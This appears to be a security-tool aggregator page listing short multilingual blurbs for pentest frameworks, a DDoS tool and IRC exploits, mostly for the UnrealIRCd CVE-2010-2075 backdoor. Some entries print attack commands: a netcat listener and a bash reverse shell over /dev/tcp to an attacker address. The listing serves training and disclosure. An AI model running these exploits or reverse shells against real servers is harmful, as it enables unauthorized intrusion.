beef

=============================================================================== root@kitploit: Copyright c 2006-2026 Wade Alcorn - [email protected] Browser Exploitation Framework BeEF - https://beefproject.com See the file 'doc/COPYING' for copying permission...

dradis-ce

Welcome to the Dradis Framework An Automated Pentest Reporting Tool Dradis is an open-source collaboration framework and penetration testing report generator that helps InfoSec teams streamline reporting workflows. With support for importing data from tools like Burp Suite, Nessus, and Nmap, Drad...

sn0int

sn0int sn0int pronounced /snoɪnt/ is a semi-automatic OSINT framework and package manager. It's used by IT security professionals, bug bounty hunters, law enforcement agencies and in security awareness trainings to gather intelligence about a given target or about yourself. sn0int is enumerating...

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution

UnrealIRCd-3.2.8.1-Backdoor-Command-Execution Скрипт, эксплуатирующий уязвимость, позволяющую установить бэкдор в сервисе UnrealIRCd с CVE-2010-2075 Использование использование: IRCBackDoorCommandExecution.py -h targethost targetport attackerhost attackerport...

CVE-2016-2233

CVE-2016-2233 CVE-2016-2233 — это уязвимость, связанная со стековым переполнением буфера в широко используемом IRC-клиенте Hexchat. Мы создали IRC-сервер и запустили на него атаку, чтобы вызвать аварийное завершение всех подключенных к серверу клиентов. Мы реализовали атаку на Ubuntu 12.04 с...

mIRC-CVE-2019-6453

CVE-2019-6453: Удалённое выполнение кода в mIRC 7.55 через внедрение аргументов с помощью обработчиков пользовательских URI-протоколов Ссылка на статью Мы обнаружили уязвимость удалённого выполнения кода в mIRC через обработчик URI-протокола irc://. Поскольку mIRC не использует никаких символов,...

sslnuke

sslnuke -- 인증 없는 SSL은 안전하지 않습니다! 우리는 SSL 인증 없이는 안전하지 않다는 말을 계속 들어왔습니다. SSL 연결이 캐시된 인증서로 확인되지 않으면 공격자가 쉽게 가로챌 수 있습니다. 따라서 2013년이면 이 문제가 완전히 해결되었다고 생각할 것입니다. 브라우저는 인증서를 캐시하고 사이트가 자체 서명 인증서를 제공할 때 사용자에게 매우 강력하게 경고하며, 브라우저 공급업체는 이 문제를 거의 해결했습니다. 그러나 HTTPS만 SSL을 사용하는 프로토콜은 아닙니다. 불행히도 다른 프로토콜의 많은 클라이언트...

striptls

striptls - auditing proxy poc implementation of STARTTLS stripping attacks A generic tcp proxy implementation and audit tool to perform protocol independent ssl/tls interception and STARTTLS stripping attacks on SMTP, POP3, IMAP, FTP, NNTP, XMPP, ACAP and IRC...

cve-2019-6453-poc

CVE-2019-6453: 사용자 정의 URI 프로토콜 핸들러를 통한 인수 주입으로 mIRC 7.55에서의 RCE mIRC에서 irc:// URI 프로토콜 핸들러를 통해 원격 코드 실행Remote Code Execution 취약점 을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 -- 같은 시길을 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini 를 로드하여 임의 코드를 실행할 수 있습니다. ircs://도...

Hale

정보 Hale는 모듈식 설계를 통해 C&C 서버에서 사용되는 새로운 프로토콜을 모니터링하는 새 모듈을 쉽게 개발할 수 있는 봇넷 명령 및 제어 모니터/스파이입니다. Hale는 많은 연결의 확장성을 처리하기 위해 Twisted로 개발된 IRC 및 HTTP 모니터를 제공합니다. 이 모듈들은 설정 가능한 프로토콜 문법과 봇 설정을 가지며 필요에 맞게 수정할 수도 있습니다. 캡처된 모든 로그와 파일은 데이터베이스에 저장되며, IRC의 경우 추적된 IP 번호도 저장됩니다. 운영자의 위치를 숨기기 위해 SOCKSv5 프록시를 통해 연결할...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

Metasploitable2-Reconnaissance-and-UnrealIRCd-Backdoor-Exploitation

Metasploitable2: 偵察とUnrealIRCdバックドアの悪用 免責事項 Metasploitable2は、セキュリティトレーニングと演習のために特別に公開された、意図的に脆弱な仮想マシンです。このプロジェクトは、教育目的のみで、私が所有および管理する隔離された仮想ラボ内で完全に実施されました。 概要 このプロジェクトは、Metasploitable2に対する完全な攻撃チェーンを文書化したものです。ネットワーク上でホストを発見し、そのサービスをフィンガープリントし、UnrealIRCdに存在する既知のバックドアを特定し、それを悪用してシェルアクセスを取得します。 目的...

LOIC

INFO Low Orbit Ion Cannon LOIC is an open source network stress tool, written in C. LOIC is based on Praetox's LOIC project at https://sourceforge.net/projects/loic/ . DISCLAIMER LOIC is for educational purposes only, intended to help server owners develop a "hacker defense" attitude. This tool...

CVE-2010-2075

CVE-2010-2075 - UnrealIRCd 3.2.8.1 バックドア Bash PoC 説明 UnrealIRCd 3.2.8.1 のソースtarballに導入されたバックドアのBash PoC。 改ざんされたバイナリは、IRCポートに送信されたAB;で始まる任意のコマンドを実行します。 使用方法 root@kitploit: chmod +x exploit.sh ./exploit.sh 例: root@kitploit: ./exploit.sh 192.168.1.10 6667 192.168.1.20 4444 実行前にリスナーをセットアップしてください:...

unrealircd3.2.8.1-local-exploit

Metasploitable 3에서 테스트됨 사용법 Ruby 공격자 셸에서 root@kitploit: nc -nlvp 1111 피해자 셸에서 root@kitploit: ruby exploit.rb 127.0.0.1 공격자 셸에서 예상 출력 root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 피해자 셸에서 root@kitploit: python3 exploit.py -ri...

CVE-2010-2075-UnrealIRCd-3.2.8.1

CVE-2010-2075 CVE:2010-2075에 대한 익스플로잇. 이 익스플로잇은 UnrealIRCd 3.2.8.1에서 원격 명령 실행을 가능하게 합니다. 요구 사항 optparse, signal 사용법 실행할 명령을 보낼 수 있지만, 응답하지 않는 경우가 있습니다. 그럴 때는 간단히 리버스 셸을 보내고 도착을 기다리면 됩니다. root@kitploit: python3 CVE-2010-2075.py -t 10.0.2.119 -p 6667 -c 'bash -c "bash -i & /dev/tcp/10.0.2.48/443...

unrealircd-backdoor-pentest-report

🛡️ UnrealIRCd 백도어 침투 테스트 격리된 교육 환경에서 UnrealIRCd 3.2.8.1 백도어CVE-2010-2075를 식별, 악용 및 조치하는 데 초점을 맞춘 통제된 침투 테스트 프로젝트입니다. 고지 사항: 이 프로젝트는 의도적으로 취약하게 구성된 실습 환경을 대상으로 교육 및 승인된 보안 테스트 목적으로만 수행되었습니다. 승인되지 않은 시스템은 대상으로 삼지 않았습니다. 📌 프로젝트 개요 이 프로젝트는 취약한 UnrealIRCd 3.2.8.1 서비스를 대상으로 한 전체 취약점 평가 및 악용 워크플로우를 보여줍니다...

cve-2010-2075-analysis

CVE-2010-2075 – UnrealIRCd 백도어 원격 코드 실행 개요 이 저장소는 UnrealIRCd 3.2.8.1에 영향을 미치는 백도어 취약점인 CVE-2010-2075의 분석 및 익스플로잇을 문서화합니다. 취약점은 대상 머신으로 Metasploitable 2를, 공격 시스템으로 Parrot OS를 사용하여 통제된 실험실 환경에서 재현되었습니다. 목표는 취약한 서비스를 식별하고, 백도어의 존재를 확인하며, 성공적인 익스플로잇의 영향을 입증하는 것이었습니다. 취약점 세부 정보...

CVE-2026-49097

camel-irc irc.sendTo ヘッダーインジェクション再現コード CVE-2026-49097 このプロジェクトは、Apache Camel の camel-irc コンポーネントにおける メッセージヘッダーインジェクション の実証コードです。追跡IDは CVE-2026-49097 です。IrcProducer は irc.sendTo ヘッダーを読み取り、送信する IRC メッセージの宛先を選択します。 このヘッダーが存在する場合、エンドポイントで設定されたチャンネルリストを上書き します: root@kitploit: // IrcProducer.process...

GHSA-463M-2HR2-Q2J7 Apache Camel-IRC: The irc.sendTo (and other irc.*) Exchange header constants used non-Camel-prefixed names that bypass the HTTP header filter

Improper Input Validation, Improper Neutralization of Special Elements in Output Used by a Downstream Component 'Injection' vulnerability in Apache Camel IRC component. The camel-irc producer chooses the destination of an outgoing IRC message from the irc.sendTo Exchange header the constant...